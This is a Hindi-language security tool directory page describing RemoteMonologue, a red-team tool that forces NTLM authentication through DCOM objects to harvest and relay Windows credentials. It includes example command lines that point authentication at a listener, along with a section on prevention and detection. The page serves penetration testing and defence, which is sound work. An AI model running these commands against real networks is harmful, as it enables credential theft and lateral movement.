Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
RemoteMonologue — NTLM प्रमाणीकरण मजबूरियों के लिए DCOM का हथियारीकरण | Kitploit
उपकरण/GitHubGitHub/xforcered/remotemonologue
पासवर्ड हमलेशोषणपार्श्व आंदोलनजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubxforcered/remotemonologue

RemoteMonologue

NTLM प्रमाणीकरण मजबूरियों के लिए DCOM का हथियारीकरण

रिपॉजिटरी देखें
275221 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

RemoteMonologue

RemoteMonologue एक Windows क्रेडेंशियल हार्वेस्टिंग तकनीक है जो Interactive User RunAs कुंजी का लाभ उठाकर और DCOM के माध्यम से NTLM प्रमाणीकरणों को बाध्य करके दूरस्थ उपयोगकर्ता से समझौता करने में सक्षम बनाती है।

विस्तृत जानकारी के लिए X-Force Red की RemoteMonologue: NTLM प्रमाणीकरण बाध्यताओं के लिए DCOM को हथियार बनाना पढ़ें।

विशेषताएँ

🔹 DCOM के माध्यम से प्रमाणीकरण बाध्यता (-dcom)

  • चार DCOM ऑब्जेक्ट्स (ServerDataCollectorSet, FileSystemImage, MSTSWebProxy, UpdateSession) को लक्षित करता है ताकि निर्दिष्ट लिसनर (-auth-to) के विरुद्ध NTLM प्रमाणीकरण ट्रिगर किया जा सके।

🔹 क्रेडेंशियल स्प्रेइंग (-spray)

  • कई प्रणालियों में क्रेडेंशियल्स को मान्य करें और साथ ही उपयोगकर्ता क्रेडेंशियल्स को कैप्चर करें।

🔹 NetNTLMv1 डाउनग्रेड आक्रमण (-downgrade)

  • लक्ष्यों को NTLMv1 उपयोग करने के लिए बाध्य करें, जिससे क्रेडेंशियल क्रैकिंग और रिलेइंग आसान हो जाती है।

🔹 WebClient सेवा का दुरुपयोग (-webclient)

  • HTTP-आधारित प्रमाणीकरण बाध्यता को सुगम बनाने के लिए WebClient सेवा को सक्षम करता है।

🔹 उपयोगकर्ता एन्यूमरेशन (-query)

  • लक्ष्य प्रणाली पर सक्रिय सत्र वाले उपयोगकर्ताओं की पहचान करें।

नोट: लक्ष्य प्रणाली पर स्थानीय व्यवस्थापक (local administrator) विशेषाधिकार आवश्यक है।

सेटअप

root@kitploit:~
pip install impacket

उदाहरण

नीचे Responder को लिसनर के रूप में उपयोग करते हुए NetNTLMv1 डाउनग्रेड आक्रमण के साथ RemoteMonologue चलाने का एक उदाहरण दिया गया है। डिफ़ॉल्ट रूप से, यदि कोई DCOM विकल्प निर्दिष्ट नहीं किया गया है, तो उपकरण ServerDataCollectorSet DCOM ऑब्जेक्ट का उपयोग करता है।

root@kitploit:~
RemoteMonologue.py domain/user:password@target -auth-to [listener IP] -downgrade

image

नीचे एक और उदाहरण है; इस बार आक्रमण FileSystemImage DCOM ऑब्जेक्ट का उपयोग करके और WebClient सेवा को सक्षम करके HTTP प्रमाणीकरण प्राप्त करने के लिए निष्पादित किया जाता है, जिसे बाद में ntlmrelayx का उपयोग करके LDAP पर रिले किया जाता है।

root@kitploit:~
RemoteMonologue.py domain/user:password@target -auth-to [listener NETBIOS@PORT] -webclient -dcom FileSystemImage

image

रक्षात्मक विचार

इन तकनीकों से बचाव करने और उनका पता लगाने के लिए, कई निवारक और पहचान उपाय लागू किए जा सकते हैं।

निवारक उपाय:

  1. LDAP साइनिंग और चैनल बाइंडिंग सक्षम करें: डोमेन नियंत्रकों पर LDAP साइनिंग प्रवर्तन और चैनल बाइंडिंग कॉन्फ़िगर करें ताकि LDAP एंडपॉइंट को रिले आक्रमणों से सुरक्षित किया जा सके। नोट: ये सेटिंग्स Windows Server 2025 से डिफ़ॉल्ट रूप से लागू की जाएंगी।

  2. नवीनतम Windows संस्करणों में अपग्रेड करें: NetNTLM डाउनग्रेड आक्रमणों को कम करने के लिए सर्वरों को Windows Server 2025 और वर्कस्टेशनों को Windows 11 संस्करण 24H2 में अपग्रेड करें, क्योंकि इन संस्करणों में NTLMv1 हटा दिया गया है।

  3. SMB साइनिंग लागू करें: SMB रिले आक्रमणों को रोकने के लिए Windows सर्वरों पर SMB साइनिंग सक्षम और लागू करें।

  4. मजबूत पासवर्ड नीतियाँ लागू करें: पासवर्ड क्रैकिंग आक्रमणों को अधिक चुनौतीपूर्ण बनाने के लिए मजबूत पासवर्ड आवश्यकताओं को लागू करें।

पहचान के अवसर:

  1. DCOM ऑब्जेक्ट्स तक दूरस्थ पहुंच की निगरानी करें: असामान्य गतिविधि की पहचान करने के लिए प्रभावित DCOM ऑब्जेक्ट्स और उनके विशिष्ट Properties और Methods तक पहुंच को ट्रैक करें।

  2. रजिस्ट्री संशोधनों की निगरानी करें: RunAs और LmCompatibilityLevel रजिस्ट्री कुंजियों में परिवर्तनों की निगरानी करें।

  3. WebClient सेवा गतिविधि को ट्रैक करें: उन उदाहरणों की निगरानी करें जहाँ WebClient सेवा दूरस्थ रूप से सक्षम की जाती है, क्योंकि इसका उपयोग HTTP-आधारित NTLM प्रमाणीकरणों को सुगम बनाने के लिए किया जाता है।

टूल डाउनलोड करें